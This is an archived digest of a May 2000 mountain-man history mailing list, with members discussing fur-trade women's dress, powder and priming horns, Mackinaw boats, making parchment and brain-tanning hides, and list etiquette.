------=_NextPart_000_0005_01BFBD1F.958943A0
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<P>Not any way to detract from the good advice given here or in the =
Books=20
recommended, but I would like to list some other sources for information =
about=20
women’s clothing and a few conjectures that may open a debate.</P>
<P>By far the largest number of women involved in the fur trade were at =
least=20
part Indian. If a modern blonde haired blue eyed woman wants to play =
that part I=20
say have at it. It is my assumption that most of the trappers involved =
were=20
between twenty and forty and a lot of them were also Indians and part =
bloods.=20
From what some of the boys on this group have indicated they have been =
forty=20
before and arn’t going back. Their blonde (grey) hair wont keep =
them from=20
playing a part and neither should a woman’s. (Hopefully the word =
"play" does not=20
insult anyone)</P>
<P>In that light, I would suggest AJ Millers notes and painting. He is a =

romantic with artistic license but he is one of the few we have. He also =
painted=20
a lot of woman. Both he and Kurtz pictured a lot of those women either =
nude or=20
topless. Something I would like to encourage as "very authentic to the=20
period".<BG> Outside of that he show both skirts and dresses and =
gives=20
some detailed descriptions (for instance Plate 72 in The West of AJM ). =
</P>
<P>Secondly, Don Berry in Majority of Scoundrels quotes Irving who =
supposedly=20
quotes Bonneville who was there and describes a free trappers wife in =
detail.=20
(317) That is not exactly clear documentation but as Berry says "(it) is =
among=20
the best we have".</P>
<P>If I may paraphrase a lot they describe a long haired woman who loves =
rich=20
bright colors, hawk bells, rings, trinkets, etc and in a big way. She is =
wearing=20
a "red, green or sometimes gray cloth (robe)", although the paintings =
usually=20
look more like leather. Her saddles and equipage are very distinctive =
and=20
functional. </P>
<P>This kind of get up might be too gaudy for some, and to immodest for =
others.=20
But it is my two cents whether it is worth that or not.</P>
<P>YMOS</P>
<P>WY</P></DIV></BODY></HTML>

------=_NextPart_000_0005_01BFBD1F.958943A0--


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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Re: Gourds Buck[OFF TOPIC]
Date: 14 May 2000 10:52:28 -0600

Top of the morning to you Concho Smith,

After this post I am out the door and on my way to shoot with Don King.  Don
was noted as being one of the best of the best of the makers on the MLML
list of artists in the craft.  We talk about friendship in the 50s so I can
relate that to my experiences here in Montana and the growth I have been
witnessing from here.  A lot on neat stuff going on.  I am glad for Buck.  I
remember Big Daddy and my 63 ramcharger that I traded for a jeep.   The
gourd/s conversation can wait.  Thanks, see ya down the trail.
Walt
Park City, Montana



----- Original Message -----
Sent: Sunday, May 14, 2000 8:53 AM


Hey Walt,

I know what your saying and understand what Buck is saying about how the
trade
of different things could and did put items in uncommon places, anyway Buck
won't be around for a few days to reply.

He was invited with about 25-30 other drag racers from the USA and Canada
(Super Stock drivers from the early sixties, like Sox & Martin, Jenkins, and
so on) to a convention in Vineland NJ, he left last night, said would try
and
get back by Tue. - will call me after todays meetings.





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-------------------------------------------------------------------------------

From: Ronald Schrotter <[e-mail]>
Subject: MtMan-List: Jeremiah Johnson's guns
Date: 14 May 2000 10:12:26 -0700 (PDT)

I always thought that "Crow Killer" was a fictional
story, but well researched.  After the fur trade,
Johnson was a Union army veteran, from Missouri if I
remember right, who was discharged for trying to scalp
some dead Confederate soldiers.  He went on to become
Sheriff in Red Lodge Mont., and your picture is
probably from that period.  Dog, Gabe's Hole Brig.

__________________________________________________
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From: Concho Smith <[e-mail]>
Subject: Re: [Re: MtMan-List: Re: Gourds Buck[OFF TOPIC]]
Date: 14 May 2000 13:53:18 EDT

"Walt Foster" <[e-mail]> wrote:
Top of the morning to you Concho Smith, can relate that to my experiences=
 here
in Montana and the growth I have been witnessing from here.  A lot on nea=
t
stuff going on.  I am glad for Buck.  I remember Big Daddy and my 63
ramcharger that I traded for a jeep...........
Thanks, see ya down the trail.
Walt
Park City, Montana
OFF TOPIC
If you had a ramcharger Walt, you'll remember "Harrop the Arab", "The
Ramchargers" and "The Dodge Boys". Buck grew up living next door to Jenki=
ns,
"Mr. 409", "The Dodge Boys" and Grumpy's Toys", he filled in on driving w=
hen
needed if running more than one car, pretty cool.
ONLY ANSWERED TO SAVE MANY E-MAILS ANSWERING SO MANY THAT WHERE INTERESTE=
D IN
WHAT SOME HAVE DONE IN OTHER AREAS, SORRY-BACK TO HISTORY.




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From: "Ratcliff" <[e-mail]>
Subject: Re: MtMan-List: What a country
Date: 14 May 2000 16:37:28 -0500

I have always sensed big medicine along the Hoback.  Just seems like =
something's watching over the place.  Strong and peaceful.  One of my =
favorite places.
Lanney Ratcliff


----- Original Message -----=20
Sent: Friday, May 12, 2000 11:53 PM


> Hello the camp,
>=20
> One of the subsribers to this list noted how lucky we are to live here =
in
> the US.  I hope you all appreciate how right he is.  I want to pass =
along a
> little of my appreciation.
>=20
> Today 3 of my buddies and I drove up to Pinedale, Wyoming to visit the
> Museum of the Mountain Man for some business.  Anyway, we saw at least =
250
> antelope at various places, over 100 head of deer, several moose, had =
a real
> close up of 6 bighorn sheep playing on the road.  We stopped by Fort
> Bonneville, overlooked the Green River/Horse Creek rendezvous area, =
glimpsed
> at the Tetons, went through Jackson's Little Hole, passed the junction =
of
> the Hoback and the Lewis Fork, then the junction of the Salt, Gray's =
and
> Lewis Fork.
>=20
> What a country!  Waugh!
>=20
> Allen=20
>=20
>=20
> ----------------------
> hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Ratcliff" <[e-mail]>
Subject: Re: MtMan-List: Sacagawea (was: The New Gold Dollar Coin)
Date: 14 May 2000 17:00:22 -0500

You are right, the coins lose their "golden" luster almost immediately.  =
That coating is only about a zillionth of an inch thick.  The coins look =
and feel pretty good and are accepted readidly around here.  They are =
available in this area in almost any quanity at the bank.  If they =
aren't available in your area send me a pre-addressed, stamped envelope =
(with a dollar!) and I will send you one.
Lanney Ratcliff
1008 N. Robinson
Cleburne, Texas  76031


----- Original Message -----=20
Sent: Sunday, May 14, 2000 1:27 AM


> Just a quick note.....  if you've had one of the new dollar coins they
> don't look 'Gold" for long...they tarnish quickly...not a good tribute =
to
> an American Hero.....   Birdwoman.....        hardtack
>=20
> ----------------------
> hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: What a country
Date: 14 May 2000 17:19:07 -0700

Lanney it is beautifiul country.  Hoback, who had some straving times and
died not so far away, might not fine the peaceful part so accurate.
Regards,  Paul


----- Original Message -----
Sent: Sunday, May 14, 2000 2:37 PM


I have always sensed big medicine along the Hoback.  Just seems like
something's watching over the place.  Strong and peaceful.  One of my
favorite places.
Lanney Ratcliff


----- Original Message -----
Sent: Friday, May 12, 2000 11:53 PM


> Hello the camp,
>
> One of the subsribers to this list noted how lucky we are to live here in
> the US.  I hope you all appreciate how right he is.  I want to pass along
a
> little of my appreciation.
>
> Today 3 of my buddies and I drove up to Pinedale, Wyoming to visit the
> Museum of the Mountain Man for some business.  Anyway, we saw at least 250
> antelope at various places, over 100 head of deer, several moose, had a
real
> close up of 6 bighorn sheep playing on the road.  We stopped by Fort
> Bonneville, overlooked the Green River/Horse Creek rendezvous area,
glimpsed
> at the Tetons, went through Jackson's Little Hole, passed the junction of
> the Hoback and the Lewis Fork, then the junction of the Salt, Gray's and
> Lewis Fork.
>
> What a country!  Waugh!
>
> Allen
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: Steve M <[e-mail]>
Subject: MtMan-List: Mothers Day!
Date: 14 May 2000 15:44:21 -0700

I know this is off the list a bit, but Happy Mother's day to all that
are mother's on the list .

Steve"boatkiller"McGehee


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From: "Frank Fusco" <[e-mail]>
Subject: MtMan-List: powder horns
Date: 14 May 2000 18:04:24 -0500

Cap'n
    After reading your respectful disagreement with my posting, I concluded
that we essentially agree.
    I don't fault your reasoning but believe we do look at things from a
slightly differ'nt perspective.
    The metal powder 'horn' is historically interesting and, at best, it is
subject for thought and mebbe further study.  If there were any quantity of
these around, I suspect they have mostly all rusted away and gone except for
a rare one or two preserved by families of famous individuals.
    The only way I would show up at r'vouz with a copy would be a deliberate
attempt to start a rousing campfire debate. I am just mischievous enough to
do something like that.
Mutually Respectfully, Frank Fusco, Mountain Home, Arkansas


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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: powder "horns?"
Date: 14 May 2000 16:42:08 -0700

Thanks Bill.
----- Original Message -----
Sent: Saturday, May 13, 2000 10:25 PM





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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: powder "horns?"
Date: 14 May 2000 16:45:53 -0700

It continually amazes me the collective knowledge of this group. Ask nice
and you learn all kinds of neat stuff. Thanks LongWalker. I remain.....

YMOS
Capt. Lahti'

----- Original Message -----
Sent: Sunday, May 14, 2000 7:38 AM


> Washtahay-
> At 05:04 PM 5/13/00 -0500, you wrote:
> >    I let myself in for some jibes when I mentioned my primer horn has a
> >brass 'thingy' on the end to make priming easier.  I don't mind.  While
> >'they' may not have had one of those exact brass tips, there were other
type
> >of horn tips, stoppers, spouts and such during the time period in
question.
> >Unlikely 'they' , meaning the trappers made use of them.
> Horns were traded with charger heads in place.  At least as early as 1805,
> HBC was ordering horns with "brass mountings", surviving specimens show a
> brass ring around the large end of the horn, brass eyelets for the
carrying
> strap, and an adjustable brass charger head.  Similar horns were traded in
> the US, and were available in St Louis in quantities that would indicate
> they were trade items.
> By "brass thingy" were you referring to one of those priming valves as
> sold by TOTW and other suppliers?  Most likely, those are a recent
> innovation.  They incorporate a fine coil spring, and the work that went
> into making those ca 1830 makes it unlikely they were in use.
> Plus they can gum up badly in humid weather.
>
> >    My point:  while visiting New Orleans some years ago we went to a
museum
> >where I saw a "horn" made entirely out of metal.  It looked like tin or
> >tinned steel.  It was not designed to imitate a natural horn but was,
> >instead, strictly utilitarian.
> From your description, I'm not sure if the item you refer to is shaped
> like a horn or if it is more flask-shaped.
> Most of the early metal flasks (actually, every one I have seen or seen
> referenced) were of copper, brass, or silver.  These metals offer a number
> of advantages: soft, easy to form, easy to join, non-ferrous (so no rust
> and no sparks).  These were traded to some extent in the west, at least
one
> is mentioned at Fort Union (sorry, don't recall the date).
> All of the iron or tinned iron "horns" with which I am familiar post-date
> the Civil War.  During the Victorian era, curio cabinets became
> popular--most of the tinned horns were intended for these.  I used to know
> a guy who collected these (he must have had 40 or 50 of 'em).  According
to
> him, all of the specimens he had seen were machine-made and had seams like
> a tin can-folded and soldered.  In the times I examined his collection, I
> never saw any indication the horns had been used to hold powder.
>
> >    If he had one, it is possible some trappers might have had some also.
> >    We do not always know what 'they' might have had.  I believe we
should
> >not become fixed in our concepts of how 'they' lived and what 'they' had.
> >Romanticism is fun but history is constantly evolving with new found
> >information.
> It has always seemed easier to me to do the research first, then acquire
> equipment.  Trying to make equipment fit research leads to too many
> rationalizations.
> LongWalker c. du B.
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



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-------------------------------------------------------------------------------

From: "Ratcliff" <[e-mail]>
Subject: MtMan-List: making parchment
Date: 14 May 2000 19:04:26 -0500

This is a multi-part message in MIME format.

------=_NextPart_000_0018_01BFBDD7.38F594A0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Horace Kephart (1862-1931) lived in the Smoky Mountains and spent much =
of the last decades of the 19th century living in the wild.  His epic =
book "Camping and Woodcraft" was published as a single volume in 1906 =
and expanded into a two volume set in 1916 and in it he wrote vividly =
and clearly about what he learned about camping.  He knew many old =
timers and included in the book much of what he learned from them.  The =
book is available as a facsimile edition from the University of =
Tennessee press (isbn 0-87049-556-9) and makes a great addition to =
anybody's library.  Last year I needed to replace my dog-eared copy and =
I got a new copy from Amazon.com.  Many actual bookstores carry it, =
too...visit them first. =20
One of the endless tidbits of "how-to" information in the book is how to =
make parchment...in case somebody wants to use the real thing instead of =
the brown mottled paper sold as parchment by stationary stores. =20
YMOS
Lanney Ratcliff
Read on:=20

"It may sometimes happen that one wishes to prepare a sheet of parchment =
on which to write an important document;  this can be done in the =
wilderness, if one can kill some animal that has a gall-bladder.  Make =
the parchment like ordinary rawhide, from the thin skin of a =
medium-sized animal, say a fawn or a wildcat.  Rub it down with a flat =
piece of sandstone or pumice-stone.  Then get a smooth, water-worn =
pebble and with it rub every part of one surface (hair side) of the =
skin, making it firm and smooth.  Then give this a coat of gall diluted =
with water.
The old-fashioned way (REMEMBER THIS WAS WRITTEN ABOUT 1900....Lanney) =
of making  ox-gall: take the gall of a newly killed ox and after having =
allowed it to settle twelve or fifteen hours in a basin, pour the =
floating liquor off the sediment into a small pan or cup, put the latter =
in a larger vessel that has a little boiling water in the bottom, and =
keep up a boiling heat until the liquor is somewhat thick; then spread =
this substance on a dish and place it before a fire until it becomes =
nearly dry.  In this state it can be kept for years in a pot covered =
with paper, without undergoing any alteration.  To use it, dissolve a =
piece  the size of a pea in a tablespoonful of water.  It makes ink or =
watercolors spread evenly on parchment, paper, or ivory.  A coating of =
it sets lead-pencil or crayon marks so that they cannot be removed.  It =
is also used for taking out spots of grease or oil."



------=_NextPart_000_0018_01BFBDD7.38F594A0
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D3>Horace Kephart (1862-1931) lived in the Smoky =
Mountains and=20
spent much of the last decades of the 19th century living in the =
wild.  His=20
epic book "Camping and Woodcraft" was published as a single volume in =
1906=20
and expanded into a two volume set in 1916 and in it he wrote =
vividly and=20
clearly about what he learned about camping.  He knew many old =
timers and=20
included in the book much of what he learned from them.  The book =
is=20
available as a facsimile edition from the University of Tennessee =
press=20
(isbn 0-87049-556-9) and makes a great addition to anybody's=20
library.  Last year I needed to replace my dog-eared copy and =
I got a=20
new copy from Amazon.com.  Many actual bookstores carry it, too...visit =
them=20
first.  </FONT></DIV>
<DIV><FONT size=3D3><FONT size=3D3>One of </FONT>the endless =
tidbits of=20
"how-to" information in the book is how to make parchment...in case =
somebody=20
wants to use the real thing instead of the brown mottled paper sold as =
parchment=20
by stationary stores.  </FONT></DIV>
<DIV><FONT size=3D3>YMOS</FONT></DIV>
<DIV>Lanney Ratcliff</DIV>
<DIV><FONT size=3D3>Read on: </FONT></DIV>
<DIV> </DIV>
<DIV>"It may sometimes happen that one wishes to prepare a sheet of =
parchment on=20
which to write an important document;  this can be done in the =
wilderness,=20
if one can kill some animal that has a gall-bladder.  Make the =
parchment=20
like ordinary rawhide, from the thin skin of a medium-sized animal, say =
a fawn=20
or a wildcat.  Rub it down with a flat piece of sandstone or=20
pumice-stone.  Then get a smooth, water-worn pebble and with it rub =
every=20
part of one surface (hair side) of the skin, making it firm and =
smooth. =20
Then give this a coat of gall diluted with water.</DIV>
<DIV>The old-fashioned way (REMEMBER THIS WAS WRITTEN ABOUT =
1900....Lanney) of=20
making  ox-gall: take the gall of a newly killed ox and after =
having=20
allowed it to settle twelve or fifteen hours in a basin, pour the =
floating=20
liquor off the sediment into a small pan or cup, put the latter in a =
larger=20
vessel that has a little boiling water in the bottom, and keep up a =
boiling heat=20
until the liquor is somewhat thick; then spread this substance on a dish =
and=20
place it before a fire until it becomes nearly dry.  In this state =
it can=20
be kept for years in a pot covered with paper, without undergoing any=20
alteration.  To use it, dissolve a piece  the size of a pea in =
a=20
tablespoonful of water.  It makes ink or watercolors spread evenly =
on=20
parchment, paper, or ivory.  A coating of it sets lead-pencil or =
crayon=20
marks so that they cannot be removed.  It is also used for taking =
out spots=20
of grease or oil."</DIV>
<DIV> </DIV>
<DIV> </DIV></BODY></HTML>

------=_NextPart_000_0018_01BFBDD7.38F594A0--


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From: "Bill Jackson" <[e-mail]>
Subject: MtMan-List: Spring Time
Date: 15 May 2000 00:04:36 GMT

Waugh, I do hope and wish that all of you Mountain Men take some time to
just look outside your frontdoor and envision ,what our old brothers saw in
the springtime in the mountains, waugh a sight.
MadJack



>From: "Ratcliff" <[e-mail]>
>Reply-To: [e-mail]
>To: <[e-mail]>
>Subject: Re: MtMan-List: What a country
>Date: Sun, 14 May 2000 16:37:28 -0500
>
>I have always sensed big medicine along the Hoback.  Just seems like
>something's watching over the place.  Strong and peaceful.  One of my
>favorite places.
>Lanney Ratcliff
>
>
>----- Original Message -----
>From: Allen Hall <[e-mail]>
>To: <[e-mail]>
>Sent: Friday, May 12, 2000 11:53 PM
>Subject: MtMan-List: What a country
>
>
> > Hello the camp,
> >
> > One of the subsribers to this list noted how lucky we are to live here
>in
> > the US.  I hope you all appreciate how right he is.  I want to pass
>along a
> > little of my appreciation.
> >
> > Today 3 of my buddies and I drove up to Pinedale, Wyoming to visit the
> > Museum of the Mountain Man for some business.  Anyway, we saw at least
>250
> > antelope at various places, over 100 head of deer, several moose, had a
>real
> > close up of 6 bighorn sheep playing on the road.  We stopped by Fort
> > Bonneville, overlooked the Green River/Horse Creek rendezvous area,
>glimpsed
> > at the Tetons, went through Jackson's Little Hole, passed the junction
>of
> > the Hoback and the Lewis Fork, then the junction of the Salt, Gray's and
> > Lewis Fork.
> >
> > What a country!  Waugh!
> >
> > Allen
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

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From: [e-mail]
Subject: Re: MtMan-List: powder "horns?"(flask or can)
Date: 14 May 2000 11:31:32 -0700

longwalker
I have a powder can that is shaped like a flask with a cork plug---it
also has 2 small steel rings on the sides---havent seen one like it that
was made after 1900 or found any other documentatiuon on it---it is
american made but no dates that i can see or find if i get the scanner up
and running any time soon will scan and send you a picture if it---I have
a good view of it with my hawken pistol that a friend who is a comercial
photographer took ---he wanted a pistol and a powder flask that would be
different and unique for one of his customers---dont know what he will
use the photo for but he gave me a copy of the print---

best to you

YMHOSANT

HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

________________________________________________________________
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Try it today - there's no risk!  For your FREE software, visit:
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-------------------------------------------------------------------------------

From: Joe Brandl <[e-mail]>
Subject: Re: MtMan-List: What a country
Date: 14 May 2000 20:55:11 -0600

Thank you Allan,

Please do tell anyone about Wyoming, it is getting crowded enough

Joe
Have a look at our web site @ www.dteworld.com/absarokawesterndesign/
Call us about our tanning, furs & leather and lodgepole furniture 307-455-2440
New leather wildlife coasters and placemats - ther're great!!

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From: [e-mail]
Subject: Re: MtMan-List: What a country
Date: 14 May 2000 23:20:27 EDT

you write:
> Thank you Allan,
>  Please do tell anyone about Wyoming, it is getting crowded enough
>  Joe

Joe,
One week ago you told a couple of us who sent emails to this list to keep the
personal replies off the list.  Now you have done exactly the same thing.

Are you trying to tell me that is OK for your "old boys club" to converse
publicly on the list, but everyone else should do it privately?

This was once a very informative list and I spent a great deal of time
researching my posts and have an archive full of valuable info posted by
other members at the time.  There was much exchange of mutual information.

Of course, that was before you joined and in the past year, many others have
joined.  In this lastyear, it has become an "old boys" chat line.  Nobody
seems to know how to use a computer properly because instead of editing their
responses, they hit the reply button and send back a one line response with
the previous 6 emails on that thread still attached to it.  Personal off
topic conversation seems to have become the norm rather than the exception.
It's a chat room for old, retired guys to relive their past with no concern
for others on the list who are hoping for an exchange of ideas and
information, rather than personal BS.  And Yeah, a lot of them are my friends
too.

Do we have a double standard here, or am I missing something?
Inquiring minds want to know.

Dave

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From: [e-mail]
Subject: MtMan-List: Mackinaw boat
Date: 14 May 2000 23:59:21 EDT

Hallo the List,

I'm about half way into "Forty Years a Fur Trader", a personal narrative of
Charles Larpenteur, a clerk for the American Fur Company.  A good read...

Larpenteur talks of heading down the Missouri River for St. Louis in a
"Mackinaw boat".... not sure what a Mackinaw boat looks like...anyone know?
Larpenteur was French, so I'm thinking it isn't a bateau, or he would have
called it that.

Ymos,
Steve

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From: Allen Hall <[e-mail]>
Subject: Re: MtMan-List: What a country
Date: 14 May 2000 22:42:57 -0600

At 11:20 PM 05/14/2000 EDT, you wrote:

>Are you trying to tell me that is OK for your "old boys club" to converse
>publicly on the list, but everyone else should do it privately?

Hey, I finally made it to an "old boys club".  Is that good or bad.

>It's a chat room for old, retired guys to relive their past with no concern
>for others on the list who are hoping for an exchange of ideas and
>information, rather than personal BS.  And Yeah, a lot of them are my friends
>too.

Made it to the "old boys club" and I'm not even retired!

Well, for some socially redeeming value to this e-mail.  For you new brain
tanning folks, plan on braining your hides at least twice.  I'm working on a
big mule deer hide.  It came about 2/3's out with the second braining, and
oughta be dandy on the third one.

And while you've got all that great brain juice, drop in a couple of more
hides for their first go around.

Brain tanning is a lot of physical work, but well worth the effort.  It's
not all that difficult (but is time consuming) to turn out stuff that costs
at least $10 a square foot to buy.  Put it into a slightly different
perspective, that's about $90 a yard.

In the past I've dry scraped, but am trying wet scrape this go around.  Many
folks say that wet scrape gives a fluffier hide than dry, but I've not found
that myself.

Good luck!

Allen Hall in Fort Hall country


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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: Mackinaw boat
Date: 14 May 2000 22:11:04 -0700


----- Original Message -----
Sent: Sunday, May 14, 2000 8:59 PM




> Larpenteur talks of heading down the Missouri River for St. Louis in a
> "Mackinaw boat".... not sure what a Mackinaw boat looks like...anyone
know?

Magpie,

I've included a link to a site that shows a small picture of a Mackinaw boat
of the late 19th century under sail. The basic hull design would probably
have been similar.
http://www.wmich.edu/history/maritime/gallery.html


> Larpenteur was French, so I'm thinking it isn't a bateau, or he would have
> called it that.

The French word for boat is "bateau" and it was used innerchangably by many
cultures including the British and Americans on this continent. Any boat can
be a bateau in that sense but generally what is being refered to is a double
ended "usually flat bottomed" boat of lengths anywhere from the size of my
boat up to 30-60 feet as long as it is made with flat lumber with all the
boards running lenthwise.

The use of lumber that way also defines a dory which is the general family
name for such boats. They can be flat bottomed with straight but flaired
sides like mine and may have a defined stern unlike mine or be esentially
double ended. If they are double ended dories then they are considered
'bateau". Confused yet? <G> A Makenzie River Drift Boat is a scrunched up
dory, is a bateau. My boat is representative of the small end of bateau that
were built to move men and cargo up and down the western rivers. Size
depended on materials and need. Such boats were built from around or before
the French and Indian Wars, well into the 20th Century.

A Mackinaw boat is just a specific design in that basic family of boats and
was one of many styles that were used in the fur trade throughout Canada,
The Great Lakes, the Inland Rivers of America including the western rivers
like the Missurii and Columbia. To add to the confusion, there was a York
boat that was used by the HBC and etc. to go to York Factory on Hudsons Bay
(if I got my geography right, Angela) and the Columbia Boat that was of
course used on the Columbia. Each boat had small differences to allow for
different conditions and manpower considerations. But all were generically
the same basic style of boat with the variations of rounded bottom/rounded
sides, flat bottom/rounded sides or flat sides, planked lapstrake or
carravel construction . Some of the size variations were mandated by the
number and severity of portage' and some by the turbulance of the waters
covered.

Most could be sailed and usually with a simple square sail in the center but
as you see in the picture of the Mackinaw Boat on that web site, they could
also be muli-masted and use other sail shapes like the latteen.

So Larpenteur was probably on a boat that was of lapstrake construction,
with a rounded hull, that could be sailed and was double ended. It was
probably put together with riven or perhaps pit sawn lumber running full
length, fastened with clinched nails and seams sealed with the barrels of
pine tare and oakum that went up river with the other Rendezvous supplies.
Looking ,quit like a large Adirondack Guide Canoe but scaled up by quit a
bit.

Now I am not as well read on this subject as I would like to be so there may
be others that can "clean up" this explanation and they are free to do so. I
probably will learn something or get my ideas straightened out. <G> Hope
this helped. I remain...

YMOS
Capt. Lahti'










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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: What a country
Date: 15 May 2000 08:29:38 -0600

Do we have to start with this line of acrimony again?
Bill C
-----Original Message-----


>you write:
>> Thank you Allan,
>>  Please do tell anyone about Wyoming, it is getting crowded enough
>>  Joe
>
>Joe,
>One week ago you told a couple of us who sent emails to this list to keep
the
>personal replies off the list.  Now you have done exactly the same thing.
>
>Are you trying to tell me that is OK for your "old boys club" to converse
>publicly on the list, but everyone else should do it privately?
>
>This was once a very informative list and I spent a great deal of time
>researching my posts and have an archive full of valuable info posted by
>other members at the time.  There was much exchange of mutual information.
>
>Of course, that was before you joined and in the past year, many others
have
>joined.  In this lastyear, it has become an "old boys" chat line.  Nobody
>seems to know how to use a computer properly because instead of editing
their
>responses, they hit the reply button and send back a one line response with
>the previous 6 emails on that thread still attached to it.  Personal off
>topic conversation seems to have become the norm rather than the exception.
>It's a chat room for old, retired guys to relive their past with no concern
>for others on the list who are hoping for an exchange of ideas and
>information, rather than personal BS.  And Yeah, a lot of them are my
friends
>too.
>
>Do we have a double standard here, or am I missing something?
>Inquiring minds want to know.
>
>Dave
>
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From: "Dennis Earp" <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 15 May 2000 11:05:02 -0400

Steve,

This is the problem.  There are several books with similar pictures, but
without
primary documentation you can't say for certain that they existed in that
particular
time period.   Even Madison Grant stated, in his later years, that you can
add
about 50 years to most artifacts and you'll be closer to the real age.
Thanks for the response and info.

Dennis

BTW, the ball starter and loading block have been formally challenged
in the ALRA and so far no documentation has been found to support them.

>In "Kentucky Rifles & Pistols 1750-1850", pg 257 shows a hunting bag and
>accouterments of David Cooke (born 1761, died 1842.) It shows, among other
>things, a small priming horn... (see at:
>http://members.aol.com:/swcushing/myhomepage/bag1800.jpg )
>This reference book was published for "The Kentucky Rifle Association" in
>1976, so I think well documented...
>Don't see a short starter though.....
>Ymos,
>Steve



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From: "Dennis Earp" <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 15 May 2000 11:17:47 -0400

Tony,

I talked to Jim at the annual Horner's Guild meeting last month and he's
a very nice and knowledgeable gentleman.  Unfortuntely, we didn't get
around to discussing priming horns.  I have talked to Roland Cadle on
several occasions ( past president of the Horner's Guild ) and he's of
the opinion that any small horn was a day horn and mostly 19th century.
That's not to say priming horns didn't exist then, but I haven't been able
to document one as yet other than those use to prime cannons.

Dennis

>Hi Steve, A couple years ago I had a conversation with Jim Dresslar the
>author of "The Engraved Powder Horn", and probably the countries foremost
>authority on powder horns, and he also mentioned that there are very few
>references in period documents to priming horns, and that priming horns
>generally weren't used by many folks.


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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 15 May 2000 10:14:37 -0600

Gentelmen,
I have what may be a dumb question, Why would they use a priming horn for
cannon priming? from what I have read in the past, Cannon powder is verry
course and not suitable for priming. If I shoot 3F powder I can use it for
priming as there is verry litle difference but to use 2f make it a litle
more difficult. If you are using your flintlock correctly it should make
verry litle difference what you use, (the powder is to the outside of the
pan so that it flashes wrather than burn like a fuze).
However having said that, if I am shooting in a compatition I would
definatly use 4f for priming because the ignition is much faster and I
flinch less. I know some may have other opinions and I would like to hear
from you.
YMOS
Ole
----------
>From: "Dennis Earp" <[e-mail]>
>To: <[e-mail]>
>Subject: Re: MtMan-List: priming horn
>Date: Mon, May 15, 2000, 9:05 AM
>

>Steve,
>
>This is the problem.  There are several books with similar pictures, but
>without
>primary documentation you can't say for certain that they existed in that
>particular
>time period.   Even Madison Grant stated, in his later years, that you can
>add
>about 50 years to most artifacts and you'll be closer to the real age.
>Thanks for the response and info.
>
>Dennis
>
>BTW, the ball starter and loading block have been formally challenged
>in the ALRA and so far no documentation has been found to support them.
>
>>In "Kentucky Rifles & Pistols 1750-1850", pg 257 shows a hunting bag and
>>accouterments of David Cooke (born 1761, died 1842.) It shows, among other
>>things, a small priming horn... (see at:
>>http://members.aol.com:/swcushing/myhomepage/bag1800.jpg )
>>This reference book was published for "The Kentucky Rifle Association" in
>>1976, so I think well documented...
>>Don't see a short starter though.....
>>Ymos,
>>Steve
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: priming horn
Date: 15 May 2000 09:53:22 -0600

I'll put in my two cents worth on priming horns - no hard historical data -
just my experience. I got my first flinter in 1947 when I was carping at my
father for a nice lever action 38-40. He reached above the windows at the
old remote farm we lived in that had been in the family since the early
1800s and took down an old pouch, 36 cal flinter, and a pair of horns. One
of them was for priming. He told me that when I had taken a deer with it,
we'd see about the 38-40. When I had learned to shoot it and had shot my
deer, I didn't want the modern gun. Just as well since we were quite poor
and I don't know how he'd have managed it. The farm, and the flinter and
accouterments went up in flames one night. Sad loss. But the horns and gun
came from very early in the family history in Northern Maine.
Bill C
-----Original Message-----


>Tony,
>
>I talked to Jim at the annual Horner's Guild meeting last month and he's
>a very nice and knowledgeable gentleman.  Unfortuntely, we didn't get
>around to discussing priming horns.  I have talked to Roland Cadle on
>several occasions ( past president of the Horner's Guild ) and he's of
>the opinion that any small horn was a day horn and mostly 19th century.
>That's not to say priming horns didn't exist then, but I haven't been able
>to document one as yet other than those use to prime cannons.
>
>Dennis
>
>>Hi Steve, A couple years ago I had a conversation with Jim Dresslar the
>>author of "The Engraved Powder Horn", and probably the countries foremost
>>authority on powder horns, and he also mentioned that there are very few
>>references in period documents to priming horns, and that priming horns
>>generally weren't used by many folks.
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: James Seward <[e-mail]>
Subject: MtMan-List: What a country
Date: 15 May 2000 10:25:04 -0600


--------------9B7F6FDA25893CE753E4AA7A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

